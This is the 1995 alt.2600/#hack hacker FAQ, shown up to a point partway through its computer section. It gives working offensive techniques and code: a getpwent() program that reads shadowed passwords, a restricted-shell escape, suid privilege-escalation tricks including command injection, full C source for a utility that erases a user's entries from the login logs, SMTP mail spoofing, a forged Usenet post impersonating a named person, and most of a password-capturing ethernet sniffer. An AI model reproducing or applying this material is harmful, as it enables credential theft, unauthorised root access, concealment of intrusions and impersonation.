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-
- Archive-name: alt-2600-faq
- Posting-Frequency: Random
- Last-Modified: 1995/03/18
- Version: Beta .011
-
-
- Editors Note: Welcome to Beta .011 of the alt.2600/#hack FAQ!
-
- The purpose of this FAQ is to give you a general
- introduction to the topics covered in alt.2600 and
- #hack. No document will make you a hacker.
-
- If you have a questions regarding any of the topics
- covered in the FAQ, please direct it to alt.2600 or
- #hack. Please do not e-mail me with them, I'm getting
- swamped.
-
- If your copy of the #hack FAQ does not end with the
- letters EOT on a line by themselves, you do not have
- the entire FAQ.
-
- If you do not have the entire FAQ, retrieve if via ftp
- from one of these sites:
-
- rahul.net /pub/lps
- rtfm.mit.edu /pub/usenet-by-group/alt.2600
- ftp.clark.net /pub/jcase
-
-
-
-
-
-
-
- The
-
- alt.2600/#Hack F.A.Q.
-
- Beta Revision .011
-
- A TNO Communication Production
-
- by
- Voyager
- will@gnu.ai.mit.edu
-
- Sysop of
- Hacker's Haven
- (303)343-4053
-
- Greets go out to:
-
- A-Flat, Al, Aleph1, Bluesman, Cavalier, Cruiser, C-Curve,
- DeadKat, Disorder, Edison, Hobbit, KCrow, Major, Marauder,
- Novocain, Outsider, Presence, Rogue Agent, sbin, Taran King,
- Theora, ThePublic, Tomes and TheSaint.
-
-
- We work in the dark
- We do what we can
- We give what we have
- Our doubt is our passion,
- and our passion is our task
- The rest is the madness of art.
-
- -- Henry James
-
-
-
- Section A: Computers
-
- 01. How do I access the password file under Unix?
- 02. How do I crack Unix passwords?
- 03. What is password shadowing?
- 04. Where can I find the password file if it's shadowed?
- 05. What is NIS/yp?
- 06. What are those weird characters after the comma in my passwd file?
- 07. How do I access the password file under VMS?
- 08. How do I crack VMS passwords?
- 09. How do I break out of a restricted shell?
- 10. How do I gain root from a suid script or program?
- 11. How do I erase my presence from the system logs?
- 12. How do I send fakemail?
- 13. How do I fake posts to UseNet?
- 14. How do I hack ChanOp on IRC?
- 15. How do I modify the IRC client to hide my real username?
- 16. How to I change to directories with strange characters in them?
- 17. What is ethernet sniffing?
- 18. What is an Internet Outdial?
- U 19. What are some Internet Outdials?
- U 20. What is this system?
- U 21. What are the default accounts for XXX ?
- U 22. What port is XXX on?
- U 23. What is a trojan/worm/virus/logic bomb?
- U 24. How can I protect myself from viruses and such?
- N 25. Where can I get more information about viruses?
- 26. What is Cryptoxxxxxxx?
- 27. What is PGP?
- 28. What is Tempest?
- 29. What is an anonymous remailer?
- 30. What are the addresses of some anonymous remailers?
- 31. How do I defeat copy protection?
- 32. What is 127.0.0.1?
- N 33. How do I post to a moderated newsgroup?
-
-
- Section B: Telephony
-
- 01. What is a Red Box?
- 02. How do I build a Red Box?
- U 03. Where can I get a 6.5536Mhz crystal?
- 04. Which payphones will a Red Box work on?
- 05. How do I make local calls with a Red Box?
- 06. What is a Blue Box?
- U 07. Do Blue Boxes still work?
- 08. What is a Black Box?
- U 09. What do all the colored boxes do?
- 10. What is an ANAC number?
- U 11. What is the ANAC number for my area?
- 12. What is a ringback number?
- U 13. What is the ringback number for my area?
- 14. What is a loop?
- U 15. What is a loop in my area?
- U 16. What is a CNA number?
- U 17. What is the telephone company CNA number for my area?
- U 18. What are some numbers that always ring busy?
- U 19. What are some numbers that temporarily disconnect phone service?
- U 20. What is scanning?
- 21. Is scanning illegal?
- 22. Where can I purchase a lineman's handset?
- 23. What are the DTMF frequencies?
- 24. What are the frequencies of the telephone tones?
- 25. What are all of the * (LASS) codes?
- 26. What frequencies do cordless phones operate on?
- N 27. What is Caller-ID?
- N 28. What is a PBX?
- N 29. What is a VMB?
-
-
- Section C: Resources
-
- U 01. What are some ftp sites of interest to hackers?
- N 02. What are some fsp sites of interest to hackers?
- 03. What are some newsgroups of interest to hackers?
- U 04. What are some telnet sites of interest to hackers?
- 05. What are some gopher sites of interest to hackers?
- U 06. What are some World wide Web (WWW) sites of interest to hackers?
- U 07. What are some IRC channels of interest to hackers?
- U 08. What are some BBS's of interest to hackers?
- U 09. What are some books of interest to hackers?
- N 10. What are some videos of interest to hackers?
- U 11. What are some mailing lists of interest to hackers?
- 12. What are some print magazines of interest to hackers?
- N 13. What are some e-zines of interest to hackers?
- 14. What are some organizations of interest to hackers?
- U 15. Where can I purchase a magnetic stripe encoder/decoder?
- 16. What are the rainbow books and how can I get them?
-
-
- Section D: 2600
-
- 01. What is alt.2600?
- 02. What does "2600" mean?
- 03. Are there on-line versions of 2600 available?
- 04. I can't find 2600 at any bookstores. What can I do?
- 05. Why does 2600 cost more to subscribe to than to buy at a newsstand?
-
-
- Section E: Miscellaneous
-
- U 01. What does XXX stand for?
- 02. How do I determine if I have a valid credit card number?
- 03. What bank issued this credit card?
- U 04. What are the ethics of hacking?
- 05. Where can I get a copy of the alt.2600/#hack FAQ?
-
-
-
- U == Updated since last release of the alt.2600/#hack FAQ
- N == New since last release of the alt.2600/#hack FAQ
-
-
-
-
- Section A: Computers
- ~~~~~~~~~~~~~~~~~~~~
-
- 01. How do I access the password file under Unix?
-
- In standard Unix the password file is /etc/passwd. On a Unix system
- with either NIS/yp or password shadowing, much of the password data
- may be elsewhere.
-
-
- 02. How do I crack Unix passwords?
-
- Contrary to popular belief, Unix passwords cannot be decrypted. Unix
- passwords are encrypted with a one way function. The login program
- encrypts the text you enter at the "password:" prompt and compares
- that encrypted string against the encrypted form of your password.
-
- Password cracking software uses wordlists. Each word in the wordlist
- is encrypted and the results are compared to the encrypted form of the
- target password.
-
- The best cracking program for Unix passwords is currently Crack by
- Alec Muffett. For PC-DOS, the best package to use is currently
- CrackerJack.
-
-
- 03. What is password shadowing?
-
- Password shadowing is a security system where the encrypted password
- field of /etc/passwd is replaced with a special token and the
- encrypted password is stored in a separate file which is not readable
- by normal system users.
-
- To defeat password shadowing on many (but not all) systems, write a
- program that uses successive calls to getpwent() to obtain the
- password file.
-
- Example:
-
- #include <pwd.h>
- main()
- {
- struct passwd *p;
- while(p=getpwent())
- printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
- p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
- }
-
-
- 04. Where can I find the password file if it's shadowed?
-
- Unix Path Token
- -----------------------------------------------------------------
- AIX 3 /etc/security/passwd !
- or /tcb/auth/files/<first letter #
- of username>/<username>
- A/UX 3.0s /tcb/files/auth/?/*
- BSD4.3-Reno /etc/master.passwd *
- ConvexOS 10 /etc/shadpw *
- ConvexOS 11 /etc/shadow *
- DG/UX /etc/tcb/aa/user/ *
- EP/IX /etc/shadow x
- HP-UX /.secure/etc/passwd *
- IRIX 5 /etc/shadow x
- Linux 1.1 /etc/shadow *
- OSF/1 /etc/passwd[.dir|.pag] *
- SCO Unix #.2.x /tcb/auth/files/<first letter *
- of username>/<username>
- SunOS4.1+c2 /etc/security/passwd.adjunct ##username
- SunOS 5.0 /etc/shadow
- <optional NIS+ private secure maps/tables/whatever>
- System V Release 4.0 /etc/shadow x
- System V Release 4.2 /etc/security/* database
- Ultrix 4 /etc/auth[.dir|.pag] *
- UNICOS /etc/udb *
-
-
- 05. What is NIS/yp?
-
- NIS (Network Information System) in the current name for what was once
- known as yp (Yellow Pages). The purpose for NIS is to allow many
- machines on a network to share configuration information, including
- password data. NIS is not designed to promote system security. If
- your system uses NIS you will have a very short /etc/passwd file that
- includes a line that looks like this:
-
- +::0:0:::
-
- To view the real password file use this command "ypcat passwd"
-
-
- 06. What are those weird characters after the comma in my passwd file?
-
- The characters are password aging data. Password aging forces the
- user to change passwords after a System Administrator specified period
- of time. Password aging can also force a user to keep a password for
- a certain number of weeks before changing it.
-
- ]
- ] Sample entry from /etc/passwd with password aging installed:
- ]
- ] will:5fg63fhD3d,M.z8:9406:12:Will Spencer:/home/fsg/will:/bin/bash
- ]
-
- Note the comma in the encrypted password field. The characters after
- the comma are used by the password aging mechanism.
-
- ]
- ] Password aging characters from above example:
- ]
- ] M.z8
- ]
-
- The four characters are interpreted as follows:
-
- 1: Maximum number of weeks a password can be used without changing.
- 2: Minimum number of weeks a password must be used before changing.
- 3&4: Last time password was changed, in number of weeks since 1970.
-
- Three special cases should be noted:
-
- If the first and second characters are set to '..' the user will be
- forced to change his/her passwd the next time he/she logs in. The
- passwd program will then remove the passwd aging characters, and the
- user will not be subjected to password aging requirements again.
-
- If the third and fourth characters are set to '..' the user will be
- forced to change his/her passwd the next time he/she logs in. Password
- aging will then occur as defined by the first and second characters.
-
- If the first character (MAX) is less than the second character (MIN),
- the user is not allowed to change his/her password. Only root can
- change that users password.
-
- It should also be noted that the su command does not check the password
- aging data. An account with an expired password can be su'd to
- without being forced to change the password.
-
-
- Password Aging Codes
- +------------------------------------------------------------------------+
- | |
- | Character: . / 0 1 2 3 4 5 6 7 8 9 A B C D E F G H |
- | Number: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
- | |
- | Character: I J K L M N O P Q R S T U V W X Y Z a b |
- | Number: 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
- | |
- | Character: c d e f g h i j k l m n o p q r s t u v |
- | Number: 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
- | |
- | Character: w x y z |
- | Number: 60 61 62 63 |
- | |
- +------------------------------------------------------------------------+
-
-
- 07. How do I access the password file under VMS?
-
- Under VMS, the password file is SYS$SYSTEM:SYSUAF.DAT. However,
- unlike Unix, most users do not have access to read the password file.
-
-
- 08. How do I crack VMS passwords?
-
- Write a program that uses the SYS$GETUAF functions to compare the
- results of encrypted words against the encrypted data in SYSUAF.DAT.
-
- Two such programs are known to exist, CHECK_PASSWORD and
- GUESS_PASSWORD.
-
-
- 09. How do I break out of a restricted shell?
-
- On poorly implemented restricted shells you can break out of the
- restricted environment by running a program that features a shell
- function. A good example is vi. Run vi and use this command:
-
- :set shell=/bin/sh
-
- then shell using this command:
-
- :shell
-
-
- 10. How do I gain root from a suid script or program?
-
- 1. Change IFS.
-
- If the program calls any other programs using the system() function
- call, you may be able to fool it by changing IFS. IFS is the Internal
- Field Separator that the shell uses to delimit arguments.
-
- If the program contains a line that looks like this:
-
- system("/bin/date")
-
- and you change IFS to '/' the shell will them interpret the
- proceeding line as:
-
- bin date
-
- Now, if you have a program of your own in the path called "bin" the
- suid program will run your program instead of /bin/date.
-
- To change IFS, use this command:
-
- IFS='/';export IFS # Bourne Shell
- setenv IFS '/' # C Shell
- export IFS='/' # Korn Shell
-
-
- 2. link the script to -i
-
- Create a symbolic link named "-i" to the program. Running "-i"
- will cause the interpreter shell (/bin/sh) to start up in interactive
- mode. This only works on suid shell scripts.
-
- Example:
-
- % ln suid.sh -i
- % -i
- #
-
-
- 3. Exploit a race condition
-
- Replace a symbolic link to the program with another program while the
- kernel is loading /bin/sh.
-
- Example:
-
- nice -19 suidprog ; ln -s evilprog suidroot
-
-
- 4. Send bad input to the program.
-
- Invoke the name of the program and a separate command on the same
- command line.
-
- Example:
-
- suidprog ; id
-
-
- 11. How do I erase my presence from the system logs?
-
- Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text
- files that can be edited by hand with vi, you must use a program
- specifically written for this purpose.
-
- Example:
-
- #include <sys/types.h>
- #include <stdio.h>
- #include <unistd.h>
- #include <sys/file.h>
- #include <fcntl.h>
- #include <utmp.h>
- #include <pwd.h>
- #include <lastlog.h>
- #define WTMP_NAME "/usr/adm/wtmp"
- #define UTMP_NAME "/etc/utmp"
- #define LASTLOG_NAME "/usr/adm/lastlog"
-
- int f;
-
- void kill_utmp(who)
- char *who;
- {
- struct utmp utmp_ent;
-
- if ((f=open(UTMP_NAME,O_RDWR))>=0) {
- while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
- if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
- bzero((char *)&utmp_ent,sizeof( utmp_ent ));
- lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
- write (f, &utmp_ent, sizeof (utmp_ent));
- }
- close(f);
- }
- }
-
- void kill_wtmp(who)
- char *who;
- {
- struct utmp utmp_ent;
- long pos;
-
- pos = 1L;
- if ((f=open(WTMP_NAME,O_RDWR))>=0) {
-
- while(pos != -1L) {
- lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
- if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
- pos = -1L;
- } else {
- if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
- bzero((char *)&utmp_ent,sizeof(struct utmp ));
- lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
- write (f, &utmp_ent, sizeof (utmp_ent));
- pos = -1L;
- } else pos += 1L;
- }
- }
- close(f);
- }
- }
-
- void kill_lastlog(who)
- char *who;
- {
- struct passwd *pwd;
- struct lastlog newll;
-
- if ((pwd=getpwnam(who))!=NULL) {
-
- if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
- lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
- bzero((char *)&newll,sizeof( newll ));
- write(f, (char *)&newll, sizeof( newll ));
- close(f);
- }
-
- } else printf("%s: ?\n",who);
- }
-
- main(argc,argv)
- int argc;
- char *argv[];
- {
- if (argc==2) {
- kill_lastlog(argv[1]);
- kill_wtmp(argv[1]);
- kill_utmp(argv[1]);
- printf("Zap2!\n");
- } else
- printf("Error.\n");
- }
-
-
- 12. How do I send fakemail?
-
- Telnet to port 25 of the machine you want the mail to appear to
- originate from. Enter your message as in this example:
-
- HELO bellcore.com
- MAIL FROM:Voyager@bellcore.com
- RCPT TO:president@whitehouse.gov
- DATA
-
- Please discontinue your silly Clipper initiative.
- .
- QUIT
-
- On systems that have RFC 931 implemented, spoofing your "MAIL FROM:"
- line will not work. Test by sending yourself fakemail first.
-
- For more information read RFC 822 "Standard for the format of ARPA
- Internet text messages."
-
-
- 13. How do I fake posts to UseNet?
-
- Use inews to post. Give inews the following lines:
-
- From:
- Newsgroups:
- Subject:
- Message-ID:
- Date:
- Organization:
-
- For a moderated newsgroup, inews will also require this line:
-
- Approved:
-
- Then add your post and terminate with <Control-D>.
-
- Example:
-
- From: Eric S. Real
- Newsgroups: alt.hackers
- Subject: Pathetic bunch of wannabe losers
- Message-ID: <esr.123@locke.ccil.org>
- Date: Fri, 13 Aug 1994 12:15:03
- Organization: Moral Majority
-
- A pathetic bunch of wannabe losers is what most of you are, with no
- right to steal the honorable title of `hacker' to puff up your silly
- adolescent egos. Get stuffed, get lost, and go to jail.
-
- Eric S. Real <esr@locke.ccil.org>
-
-
- ^D
-
- Note that many systems will append an Originator: line to your message
- header, effectively revealing the account from which the message was
- posted.
-
-
- 14. How do I hack ChanOp on IRC?
-
- Find a server that is split from the rest of IRC and create your own
- channel there using the name of the channel you want ChanOp on. When
- that server reconnects to the net, you will have ChanOp on the real
- channel. If you have ServerOp on a server, you can cause it to split
- on purpose.
-
-
- 15. How do I modify the IRC client to hide my real username?
-
- Get the IRC client from cs.bu.edu /irc/clients. Look at the source
- code files irc.c and ctcp.c. The code you are looking for is fairly
- easy to spot. Change it. Change the username code in irc.c and the
- ctcp information code in ctcp.c. Compile and run your client.
-
- Here are the diffs from a sample hack of the IRC client. Your client
- code will vary slightly depending on what IRC client version you are
- running.
-
- *** ctcp.c.old Wed Feb 10 10:08:05 1993
- --- ctcp.c Fri Feb 12 04:33:55 1993
- ***************
- *** 331,337 ****
- struct passwd *pwd;
- long diff;
- int uid;
- ! char c;
-
- /*
- * sojge complained that ircII says 'idle 1 seconds'
- --- 331,337 ----
- struct passwd *pwd;
- long diff;
- int uid;
- ! char c, *fing;
-
- /*
- * sojge complained that ircII says 'idle 1 seconds'
- ***************
- *** 348,354 ****
- if (uid != DAEMON_UID)
- {
- #endif /* DAEMON_UID */
- ! if (pwd = getpwuid(uid))
- {
- char *tmp;
-
- --- 348,356 ----
- if (uid != DAEMON_UID)
- {
- #endif /* DAEMON_UID */
- ! if (fing = getenv("IRCFINGER"))
- ! send_ctcp_reply(from, ctcp->name, fing, diff, c);
- ! else if (pwd = getpwuid(uid))
- {
- char *tmp;
-
- *** irc.c.old Wed Feb 10 06:33:11 1993
- --- irc.c Fri Feb 12 04:02:11 1993
- ***************
- *** 510,516 ****
- malloc_strcpy(&my_path, "/");
- if (*realname == null(char))
- strmcpy(realname, "*Unknown*", REALNAME_LEN);
- ! if (*username == null(char))
- {
- if (ptr = getenv("USER"))
- strmcpy(username, ptr, NAME_LEN);
- --- 510,518 ----
- malloc_strcpy(&my_path, "/");
- if (*realname == null(char))
- strmcpy(realname, "*Unknown*", REALNAME_LEN);
- ! if (ptr = getenv("IRCUSER"))
- ! strmcpy(username, ptr, NAME_LEN);
- ! else if (*username == null(char))
- {
- if (ptr = getenv("USER"))
- strmcpy(username, ptr, NAME_LEN);
-
-
- 16. How to I change to directories with strange characters in them?
-
- These directories are often used by people trying to hide information,
- most often warez (commercial software).
-
- There are several things you can do to determine what these strange
- characters are. One is to use the arguments to the ls command that
- cause ls to give you more information:
-
- From the man page for ls:
-
- -F Causes directories to be marked with a trailing ``/'',
- executable files to be marked with a trailing ``*'', and
- symbolic links to be marked with a trailing ``@'' symbol.
-
- -q Forces printing of non-graphic characters in filenames as the
- character ``?''.
-
- -b Forces printing of non-graphic characters in the \ddd
- notation, in octal.
-
- Perhaps the most useful tool is to simply do an "ls -al filename" to
- save the directory of the remote ftp site as a file on your local
- machine. Then you can do a "cat -t -v -e filename" to see exactly
- what those bizarre little characters are.
-
- From the man page for cat:
-
- -v Causes non-printing characters (with the exception of tabs,
- newlines, and form feeds) to be displayed. Control characters
- are displayed as ^X (<Ctrl>x), where X is the key pressed with
- the <Ctrl> key (for example, <Ctrl>m is displayed as ^M). The
- <Del> character (octal 0177) is printed as ^?. Non-ASCII
- characters (with the high bit set) are printed as M -x, where
- x is the character specified by the seven low order bits.
-
- -t Causes tabs to be printed as ^I and form feeds as ^L. This
- option is ignored if the -v option is not specified.
-
- -e Causes a ``$'' character to be printed at the end of each line
- (prior to the new-line). This option is ignored if the -v
- option is not set.
-
- If the directory name includes a <SPACE> or a <TAB> you will need to
- enclose the entire directory name in quotes. Example:
-
- cd "..<TAB>"
-
- On an IBM-PC, you may enter these special characters by holding down
- the <ALT> key and entering the decimal value of the special character
- on your numeric keypad. When you release the <ALT> key, the special
- character should appear on your screen. An ASCII chart can be very
- helpful.
-
- Sometimes people will create directories with some of the standard
- stty control characters in them, such as ^Z (suspend) or ^C (intr).
- To get into those directories, you will first need to user stty to
- change the control character in qustion to another character.
-
- From the man page for stty:
-
- Control assignments
-
- control-character C
- Sets control-character to C, where control-character is
- erase, kill, intr (interrupt), quit, eof, eol, swtch
- (switch), start, stop or susp.
-
- start and stop are available as possible control char-
- acters for the control-character C assignment.
-
- If C is preceded by a caret (^) (escaped from the
- shell), then the value used is the corresponding con-
- trol character (for example, ^D is a <Ctrl>d; ^? is
- interpreted as DELETE and ^- is interpreted as unde-
- fined).
-
- Use the stty -a command to see your current stty settings, and to
- determine which one is causing you problems.
-
-
- 17. What is ethernet sniffing?
-
- Ethernet sniffing is listening (with software) to the raw ethernet
- device for packets that interest you. When your software sees a
- packet that fits certain criteria, it logs it to a file. The most
- common criteria for an interesting packet is one that contains words
- like "login" or "password."
-
- Many ethernet sniffers are available, here are a few that may be on
- your system now:
-
- OS Sniffer
- ~~ ~~~~~~~
- HP/UX nettl (monitor) & netfmt (display)
- nfswatch /* Available via anonymous ftp */
- Irix nfswatch /* Available via anonymous ftp */
- Etherman
- SunOS etherfind
- nfswatch /* Available via anonymous ftp */
- Solaris snoop
- DOS ETHLOAD /* Available via anonymous ftp as */
- /* ethld104.zip */
- The Gobbler /* Available via anonymous ftp */
- LanPatrol
- LanWatch
- Netmon
- Netwatch
- Netzhack /* Available via anonymous ftp at */
- /* mistress.informatik.unibw-muenchen.de */
- /* /pub/netzhack.mac */
- Macintosh Etherpeek
-
- Here is source code for an ethernet sniffer:
-
- /* Esniff.c */
-
- #include <stdio.h>
- #include <ctype.h>
- #include <string.h>
-
- #include <sys/time.h>
- #include <sys/file.h>
- #include <sys/stropts.h>
- #include <sys/signal.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <sys/ioctl.h>
-
- #include <net/if.h>
- #include <net/nit_if.h>
- #include <net/nit_buf.h>
- #include <net/if_arp.h>
-
- #include <netinet/in.h>
- #include <netinet/if_ether.h>
- #include <netinet/in_systm.h>
- #include <netinet/ip.h>
- #include <netinet/udp.h>
- #include <netinet/ip_var.h>
- #include <netinet/udp_var.h>
- #include <netinet/in_systm.h>
- #include <netinet/tcp.h>
- #include <netinet/ip_icmp.h>
-
- #include <netdb.h>
- #include <arpa/inet.h>
-
- #define ERR stderr
-
- char *malloc();
- char *device,
- *ProgName,
- *LogName;
- FILE *LOG;
- int debug=0;
-
- #define NIT_DEV "/dev/nit"
- #define CHUNKSIZE 4096 /* device buffer size */
- int if_fd = -1;
- int Packet[CHUNKSIZE+32];
-
- void Pexit(err,msg)
- int err; char *msg;
- { perror(msg);
- exit(err); }
-
- void Zexit(err,msg)
- int err; char *msg;
- { fprintf(ERR,msg);
- exit(err); }
-
- #define IP ((struct ip *)Packet)
- #define IP_OFFSET (0x1FFF)
- #define SZETH (sizeof(struct ether_header))
- #define IPLEN (ntohs(ip->ip_len))
- #define IPHLEN (ip->ip_hl)
- #define TCPOFF (tcph->th_off)
- #define IPS (ip->ip_src)
- #define IPD (ip->ip_dst)
- #define TCPS (tcph->th_sport)
- #define TCPD (tcph->th_dport)
- #define IPeq(s,t) ((s).s_addr == (t).s_addr)
-
- #define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))
-
- #define MAXBUFLEN (128)
- time_t LastTIME = 0;
-
- struct CREC {
- struct CREC *Next,
- *Last;
- time_t Time; /* start time */
- struct in_addr SRCip,
- DSTip;
- u_int SRCport, /* src/dst ports */
- DSTport;
- u_char Data[MAXBUFLEN+2]; /* important stuff :-) */
- u_int Length; /* current data length */
- u_int PKcnt; /* # pkts */
- u_long LASTseq;
- };
-
- struct CREC *CLroot = NULL;
-
- char *Symaddr(ip)
- register struct in_addr ip;
- { register struct hostent *he =
- gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);
-
- return( (he)?(he->h_name):(inet_ntoa(ip)) );
- }
-
- char *TCPflags(flgs)
- register u_char flgs;
- { static char iobuf[8];
- #define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')
-
- SFL(0,TH_FIN, 'F');
- SFL(1,TH_SYN, 'S');
- SFL(2,TH_RST, 'R');
- SFL(3,TH_PUSH,'P');
- SFL(4,TH_ACK, 'A');
- SFL(5,TH_URG, 'U');
- iobuf[6]=0;
- return(iobuf);
- }
-
- char *SERVp(port)
- register u_int port;
- { static char buf[10];
- register char *p;
-
- switch(port) {
- case IPPORT_LOGINSERVER: p="rlogin"; break;
- case IPPORT_TELNET: p="telnet"; break;
- case IPPORT_SMTP: p="smtp"; break;
- case IPPORT_FTP: p="ftp"; break;
- default: sprintf(buf,"%u",port); p=buf; break;
- }
- return(p);
- }
-
- char *Ptm(t)
- register time_t *t;
- { register char *p = ctime(t);
- p[strlen(p)-6]=0; /* strip " YYYY\n" */
- return(p);
- }
-
- char *NOWtm()
- { time_t tm;
- time(&tm);
- return( Ptm(&tm) );
- }
-
- #define MAX(a,b) (((a)>(b))?(a):(b))
- #define MIN(a,b) (((a)<(b))?(a):(b))
-
- /* add an item */
- #define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
- register struct CREC *CLtmp = \
- (struct CREC *)malloc(sizeof(struct CREC)); \
- time( &(CLtmp->Time) ); \
- CLtmp->SRCip.s_addr = SIP.s_addr; \
- CLtmp->DSTip.s_addr = DIP.s_addr; \
- CLtmp->SRCport = SPORT; \
- CLtmp->DSTport = DPORT; \
- CLtmp->Length = MIN(LEN,MAXBUFLEN); \
- bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
- CLtmp->PKcnt = 1; \
- CLtmp->Next = CLroot; \
- CLtmp->Last = NULL; \
- CLroot = CLtmp; \
- }
-
- register struct CREC *GET_NODE(Sip,SP,Dip,DP)
- register struct in_addr Sip,Dip;
- register u_int SP,DP;
- { register struct CREC *CLr = CLroot;
-
- while(CLr != NULL) {
- if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
- IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
- break;
- CLr = CLr->Next;
- }
- return(CLr);
- }
-
- #define ADDDATA_NODE(CL,DATA,LEN) { \
- bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
- CL->Length += LEN; \
- }
-
- #define PR_DATA(dp,ln) { \
- register u_char lastc=0; \
- while(ln-- >0) { \
- if(*dp < 32) { \
- switch(*dp) { \
- case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
- break; \
- case '\r': \
- case '\n': fprintf(LOG,"\n : "); \
- break; \
- default : fprintf(LOG,"^%c", (*dp + 64)); \
- break; \
- } \
- } else { \
- if(isprint(*dp)) fputc(*dp,LOG); \
- else fprintf(LOG,"(%d)",*dp); \
- } \
- lastc = *dp++; \
- } \
- fflush(LOG); \
- }
-
- void END_NODE(CLe,d,dl,msg)
- register struct CREC *CLe;
- register u_char *d;
- register int dl;
- register char *msg;
- {
- fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
- fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
- fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
- fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
- NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
- fprintf(LOG," DATA: ");
- { register u_int i = CLe->Length;
- register u_char *p = CLe->Data;
- PR_DATA(p,i);
- PR_DATA(d,dl);
- }
-
- fprintf(LOG,"\n-- \n");
- fflush(LOG);
-
- if(CLe->Next != NULL)
- CLe->Next->Last = CLe->Last;
- if(CLe->Last != NULL)
- CLe->Last->Next = CLe->Next;
- else
- CLroot = CLe->Next;
- free(CLe);
- }
-
- /* 30 mins (x 60 seconds) */
- #define IDLE_TIMEOUT 1800
- #define IDLE_NODE() { \
- time_t tm; \
- time(&tm); \
- if(LastTIME<tm) { \
- register struct CREC *CLe,*CLt = CLroot; \
- LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
- while(CLe=CLt) { \
- CLt=CLe->Next; \
- if(CLe->Time <tm) \
- END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
- } \
- } \
- }
-
- void filter(cp, pktlen)
- register char *cp;
- register u_int pktlen;
- {
- register struct ip *ip;
- register struct tcphdr *tcph;
-
- { register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);
-
- if(EtherType < 0x600) {
- EtherType = *(u_short *)(cp + SZETH + 6);
- cp+=8; pktlen-=8;
- }
-
- if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
- return;
- }
-
- /* ugh, gotta do an alignment :-( */
- bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));
-
- ip = (struct ip *)Packet;
- if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
- return;
- tcph = (struct tcphdr *)(Packet + IPHLEN);
-
- if(!( (TCPD == IPPORT_TELNET) ||
- (TCPD == IPPORT_LOGINSERVER) ||
- (TCPD == IPPORT_FTP)
- )) return;
-
- { register struct CREC *CLm;
- register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
- register u_char *p = (u_char *)Packet;
-
- p += ((IPHLEN * 4) + (TCPOFF * 4));
-
- if(debug) {
- fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
- fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
- fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
- }
-
- if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {
-
- CLm->PKcnt++;
-
- if(length>0)
- if( (CLm->Length + length) < MAXBUFLEN ) {
- ADDDATA_NODE( CLm, p,length);
- } else {
- END_NODE( CLm, p,length, "DATA LIMIT");
- }
-
- if(TCPFL(TH_FIN|TH_RST)) {
- END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
- }
-
- } else {
-
- if(TCPFL(TH_SYN)) {
- ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
- }
-
- }
-
- IDLE_NODE();
-
- }
-
- }
-
- /* signal handler
- */
- void death()
- { register struct CREC *CLe;
-
- while(CLe=CLroot)
- END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");
-
- fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
- fflush(LOG);
- if(LOG != stdout)
- fclose(LOG);
- exit(1);
- }
-
- /* opens network interface, performs ioctls and reads from it,
- * passing data to filter function
- */
- void do_it()
- {
- int cc;
- char *buf;
- u_short sp_ts_len;
-
- if(!(buf=malloc(CHUNKSIZE)))
- Pexit(1,"Eth: malloc");
-
- /* this /dev/nit initialization code pinched from etherfind */
- {
- struct strioctl si;
- struct ifreq ifr;
- struct timeval timeout;
- u_int chunksize = CHUNKSIZE;
- u_long if_flags = NI_PROMISC;
-
- if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
- Pexit(1,"Eth: nit open");
-
- if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
- Pexit(1,"Eth: ioctl (I_SRDOPT)");
-
- si.ic_timout = INFTIM;
-
- if(ioctl(if_fd, I_PUSH, "nbuf") < 0)
